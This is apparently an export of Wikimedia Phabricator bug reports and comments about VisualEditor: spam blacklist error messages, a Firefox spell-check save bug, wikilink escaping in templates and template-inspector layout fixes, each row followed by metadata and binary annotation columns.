+note that ""this.fonts"" here is an object rather than an array (to save the linear searches), so it should be initialized to  {} rather than [].
+
+peace.",,,1373058592,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-j7v3ex7edi7dypukus5m,task_subcomment,,True,c1,3,False,,,0,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1
+52826,VisualEditor: Add support for spam blacklist errors in save dialog,"If a user hits the spam blacklist they VE responds merely by informing them ""Error: Invalid error code"". This is...not helpful.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1373053740,1374016034.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-redwc5kkxwdmnoyvkj7r,task_description,resolved,True,c1,3,False,False,True,0,,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,1,1,1,0,0,0
+237287,VisualEditor: Add support for spam blacklist errors in save dialog,Fixed and will be going out in a few minutes.,,,1374016034,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-redwc5kkxwdmnoyvkj7r,task_subcomment,,True,c1,3,True,,,2,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+237283,VisualEditor: Add support for spam blacklist errors in save dialog,"Change 73964 merged by jenkins-bot:
+mw.ViewPageTarget: Add support for spam blacklist
+
+https://gerrit.wikimedia.org/r/73964",,,1374015128,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-redwc5kkxwdmnoyvkj7r,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+237280,VisualEditor: Add support for spam blacklist errors in save dialog,"Though I knew that the SpamBlacklist has logic in place for returning multiple urls (bug 30332, Ia951d5795c5cedb) it didn't seem to work.
+
+Apparently it does work now. I can't consistently reproduce it only giving one. I'll presume it was an error on my part or an edge case in the regex SpamBlacklist is using and complex wikitext as input.
+
+I've amended the patch set to display multiple urls separated by comma if there is more than one.",,,1374010951,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-redwc5kkxwdmnoyvkj7r,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,1,1,1,0,1,1,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,1,0,1,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+237277,VisualEditor: Add support for spam blacklist errors in save dialog,"Change 73964 had a related patch set uploaded by Krinkle:
+mw.ViewPageTarget: Add support for spam blacklist
+
+https://gerrit.wikimedia.org/r/73964",,,1373983650,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-redwc5kkxwdmnoyvkj7r,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+237270,VisualEditor: Add support for spam blacklist errors in save dialog,"So we get the matched url from the API. Ideally we'd get a usable message as well.
+
+Given the following sample (and latest mediawiki/core and SpamBlacklist configured with [[m:Spam_blacklist]])
+
+
+* [http://cl.ly/foo/?bar=%22%3Equ%3Cb%3Eu%3C%2Fb%3Ex%3Ca%20href%3D%22 d]
+* [http://fidosoft.de fidosoft]
+
+index.php?action=submit gives the following:
+
+> The text you wanted to save was blocked by the spam filter. This is probably caused by a link to a blacklisted external site.
+> The following text is what triggered our spam filter: http://fidosoft.de and http://cl.ly
+
+These are constructed in EditPage::spamPageWithContent by the ""spamprotectiontext"" and ""spamprotectionmatch"" messages respectively, which are actually in mediawiki core. The latter message takes $1 as parameter and EditPage.php sets that to the result of Language::listToText( Array ).
+
+The API gives:
+
+        ""edit"": {
+            ""spamblacklist"": ""http://cl.ly"",
+            ""result"": ""Failure""
+        }
+
+For some reason it isn't getting the second url? The SpamBlacklist API hook looks like it is doing `implode( '|', Array )` but aside from an array being nicer than a pipe-separated list, we're not getting either. Only the first url is returned.
+
+So either:
+
+1) SpamBlacklist needs to provide a processed message
+
+or:
+
+* SpamBlacklist needs to provide both urls, not just the first (I tested latest master, SpamBlacklist@3390081e4c6). Though this bug should be fixed either way, if we don't get a processed message, needing both is a blocker.
+* We'll load these 2 core messages as part of ve.init.mw.ViewPageTarget
+* We'll need an equivalent of Language::listToText in core mediawiki.language.js (though I suppose join(', ')  could do meanwhile).",,,1373983097,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-redwc5kkxwdmnoyvkj7r,task_subcomment,,True,c1,3,True,,,2,,1,0,0,1,1,1,1,0,1,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,1,0,0,1,1,1,1,1,1,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,1,1,1,1,1,0,0,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,1,1
+237261,VisualEditor: Add support for spam blacklist errors in save dialog,"**joedecker** wrote:
+
+Sounds like y'all have screen shots, but for those of us playing the home game, when I press ""Save Page"" on a blacklist-blocked edit, that window (with the edit summary, etc.) stays up, and ""Error: Unknown error"" appears below the edit summary box, to the left of and slightly higher than the Review your edits/Save page buttons--the latter inactive.
+
+MacOSX/Chrome 28.0.1500.71, tested with an examiner.com URL at [[Chad Griffin]] with an incognito window/logged out.",,,1373952568,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-redwc5kkxwdmnoyvkj7r,task_subcomment,,True,c1,3,False,,,2,,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+237253,VisualEditor: Add support for spam blacklist errors in save dialog,"Created attachment 12821
+Developer console dump
+
+A very helpful user in #wikipedia-en-help gave me this screenshot of what we get back from the API when TitleBlacklist rejects an edit.
+
+**Attached**: {F11276}",,,1373495540,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-redwc5kkxwdmnoyvkj7r,task_subcomment,,True,c1,3,False,,,1,,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0
+237243,VisualEditor: Add support for spam blacklist errors in save dialog,*** Bug 51139 has been marked as a duplicate of this bug. ***,,,1373495139,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-redwc5kkxwdmnoyvkj7r,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+52822,VisualEditor: Using browser native interactive spell-check tool breaks in Firefox,"Quote: Using Firefox 19.0.2 on Windows Vista, editing Relativity Media. Find ""subsidairies"", right-click, select ""subsidiaries"". The word appears changed, but the ""Save"" button is not activated.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=63462
+https://bugzilla.wikimedia.org/show_bug.cgi?id=63395
+https://bugzilla.wikimedia.org/show_bug.cgi?id=59748",High,80.0,1373050560,1415058499.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-2cs7ruqdiqeaisw3iea4,task_description,resolved,True,c1,3,True,False,False,0,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,0
+237062,VisualEditor: Using browser native interactive spell-check tool breaks in Firefox,"As far as I can tell, these issues have all been fixed now. However, there's bug 72929 which I've opened for a new issue that's developed in the past few weeks.",,,1415058499,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2cs7ruqdiqeaisw3iea4,task_subcomment,,True,c1,3,True,,,70,,1,0,0,1,0,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0
+237057,VisualEditor: Using browser native interactive spell-check tool breaks in Firefox,"I have issues with this locally as well (Iceweasel/Firefox 24.4.0 with VE 3b3a66763ade397b857e35efe8990ac217e5d54c , in debug mode.
+
+In my case, when I try correct the word, it does change in that spot (fixing the misspelling), and the save button enables.  However, the change also appears at the beginning of the document. In this case the required spelling fix was adding an 'r' (occurence. to occurrence), so an 'r' ended up at the beginning of the ContentEditable.
+
+However, in Review Changes (and the actual save), it then drops the original correction, and *only* puts the wrong edit at the beginning.",,,1399014057,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-2cs7ruqdiqeaisw3iea4,task_subcomment,,True,c1,3,True,,,43,,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+237052,VisualEditor: Using browser native interactive spell-check tool breaks in Firefox,"Tried to duplicate this with FF 28 on a variety of typos on different pages.  Ran into Bug 63395 a lot, but was able to save after using FF autocorrect to alter the typo text. (On a side note, hilariously, FF autocorrect suggests that ""autocorrect"" should be changed to ""autocrat"":))",,,1398191795,,PHID-USER-ttyyrgsrkyonct7hizgv,False,,,PHID-TASK-2cs7ruqdiqeaisw3iea4,task_subcomment,,True,c1,3,False,,,42,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0
+237047,VisualEditor: Using browser native interactive spell-check tool breaks in Firefox,*** Bug 52372 has been marked as a duplicate of this bug. ***,,,1398187598,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2cs7ruqdiqeaisw3iea4,task_subcomment,,True,c1,3,True,,,42,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+237042,VisualEditor: Using browser native interactive spell-check tool breaks in Firefox,"No i don't know, it's a report from the VE/Feedback page.",,,1373157962,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-2cs7ruqdiqeaisw3iea4,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+237036,VisualEditor: Using browser native interactive spell-check tool breaks in Firefox,(Assigning to me absent confirmation that this problem is reproducible.),,,1373157358,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2cs7ruqdiqeaisw3iea4,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0
+237032,VisualEditor: Using browser native interactive spell-check tool breaks in Firefox,"(In reply to comment #0)
+> Quote: Using Firefox 19.0.2 on Windows Vista, editing Relativity Media. Find
+> ""subsidairies"", right-click, select ""subsidiaries"". The word appears changed,
+> but the ""Save"" button is not activated.
+
+Odd. I get the save dialog activated on making a spelling-correction changes in both Chrome and Firefox, including on that particular word in that particular page. Saved example: https://en.wikipedia.org/w/index.php?title=Relativity_Media&diff=563012676&oldid=559815961
+
+Is the user using a non-standard way of doing the spell-correcting, do you know?",,,1373052311,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2cs7ruqdiqeaisw3iea4,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,0,1,0,1,0,0,1
+52801,VisualEditor: Changing templates makes wikilinks ([[Foo|Bar]]) render as raw wikitext instead of parsed,"Template inspector before closing
+
+Wikilinks like [[Foo|Bar]] are shown expanded in template inspector after closing it, see screenshots. 
+
+Steps to reproduce:
+
+1. Edit a template which has wikilinks like [[Foo|Bar]] as a parameter value
+2. Close the template inspector, with or w/o changes does not matter.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://de.wikipedia.org/wiki/VRB_H_2/3
+
+**Attached**: {F11204}",High,80.0,1373030040,1373559177.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-js6dahlv3jujgj6b2lzv,task_description,resolved,True,c1,3,False,False,True,0,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+235877,VisualEditor: Changing templates makes wikilinks ([[Foo|Bar]]) render as raw wikitext instead of parsed,"We've now fixed this in master, and will back-port to production.",,,1373559177,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-js6dahlv3jujgj6b2lzv,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+235874,VisualEditor: Changing templates makes wikilinks ([[Foo|Bar]]) render as raw wikitext instead of parsed,"Change 73173 merged by jenkins-bot:
+Prevent escaping of piped links in wikitext parameters
+
+https://gerrit.wikimedia.org/r/73173",,,1373558760,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-js6dahlv3jujgj6b2lzv,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+235868,VisualEditor: Changing templates makes wikilinks ([[Foo|Bar]]) render as raw wikitext instead of parsed,"Change 73173 had a related patch set uploaded by Esanders:
+Piped links in wikitext parameters getting escaped
+
+https://gerrit.wikimedia.org/r/73173",,,1373553974,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-js6dahlv3jujgj6b2lzv,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+235862,VisualEditor: Changing templates makes wikilinks ([[Foo|Bar]]) render as raw wikitext instead of parsed,This is a wikitext escaping bug in VE,,,1373553234,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-js6dahlv3jujgj6b2lzv,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+235857,VisualEditor: Changing templates makes wikilinks ([[Foo|Bar]]) render as raw wikitext instead of parsed,"Screenshot of different phases:
+
+http://cl.ly/image/1X0I281n1n0G
+1) PHP rendering on Read
+2) VE initial rendering after Edit
+3) VE rendering after opening Template dialog and making no changes and clicking Apply changes
+
+Dirty diff: http://cl.ly/image/241h1I3T1d2d",,,1373547246,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-js6dahlv3jujgj6b2lzv,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+235851,VisualEditor: Changing templates makes wikilinks ([[Foo|Bar]]) render as raw wikitext instead of parsed,"It doesn't show in the diff, it only shown in the live rendering in VisualEditor.",,,1373547049,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-js6dahlv3jujgj6b2lzv,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,1,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+235849,VisualEditor: Changing templates makes wikilinks ([[Foo|Bar]]) render as raw wikitext instead of parsed,Can you create a broken diff on that article for me?,,,1373546964,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-js6dahlv3jujgj6b2lzv,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,1,0,0,0,0
+235846,VisualEditor: Changing templates makes wikilinks ([[Foo|Bar]]) render as raw wikitext instead of parsed,"As can I, hence the duplicate bugs. Firefox 22, Windows 7.",,,1373544903,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-js6dahlv3jujgj6b2lzv,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+235842,VisualEditor: Changing templates makes wikilinks ([[Foo|Bar]]) render as raw wikitext instead of parsed,"(In reply to comment #4)
+> Can't reproduce this at the example URL.
+
+I can still reproduce it :-(",,,1373544652,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-js6dahlv3jujgj6b2lzv,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1
+235837,VisualEditor: Changing templates makes wikilinks ([[Foo|Bar]]) render as raw wikitext instead of parsed,Can't reproduce this at the example URL.,,,1373543860,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-js6dahlv3jujgj6b2lzv,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+235831,VisualEditor: Changing templates makes wikilinks ([[Foo|Bar]]) render as raw wikitext instead of parsed,*** Bug 51014 has been marked as a duplicate of this bug. ***,,,1373521095,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-js6dahlv3jujgj6b2lzv,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+235825,VisualEditor: Changing templates makes wikilinks ([[Foo|Bar]]) render as raw wikitext instead of parsed,*** Bug 50909 has been marked as a duplicate of this bug. ***,,,1373354186,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-js6dahlv3jujgj6b2lzv,task_subcomment,,True,c1,3,False,,,1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+235821,VisualEditor: Changing templates makes wikilinks ([[Foo|Bar]]) render as raw wikitext instead of parsed,"Created attachment 12761
+Template inspector after closing
+
+**Attached**: {F11205}",,,1373030118,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-js6dahlv3jujgj6b2lzv,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0
+52800,VisualEditor: Break lines for TemplateData description in template inspector,"Screenshot
+
+The text of the TemplateData description should have an line break (wrap into span and style per CSS?) in the template inspector.
+
+Longer descriptions flows out of the template inspector box, see screenshot.
+
+Related: Bug 50656 - Parse wikicode and/or HTML in interface text
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+
+**Attached**: {F11203}",High,80.0,1373028960,1373420952.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-6tlgztl4hagkm2r7xhiz,task_description,resolved,True,c1,3,False,False,True,0,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0
+235778,VisualEditor: Break lines for TemplateData description in template inspector,"This is now fixed in master and will be deployed soon, probably tomorrow.",,,1373420952,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6tlgztl4hagkm2r7xhiz,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+235775,VisualEditor: Break lines for TemplateData description in template inspector,"Change 72863 merged by jenkins-bot:
+Make parameter search widget have a horizontal limit
+
+https://gerrit.wikimedia.org/r/72863",,,1373420566,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6tlgztl4hagkm2r7xhiz,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+235772,VisualEditor: Break lines for TemplateData description in template inspector,"Change 72863 had a related patch set uploaded by Trevor Parscal:
+Make parameter search widget have a horizontal limit
+
+https://gerrit.wikimedia.org/r/72863",,,1373415980,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6tlgztl4hagkm2r7xhiz,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+52799,VisualEditor: Add close icon to page notices fly-out,"At the moment the only way to close a page notice is to click on the interface element that launches them - which feels somewhat counterintuitive. Could we have a little close button in the notices themselves?
+
+--------------------------
+**Version**: unspecified
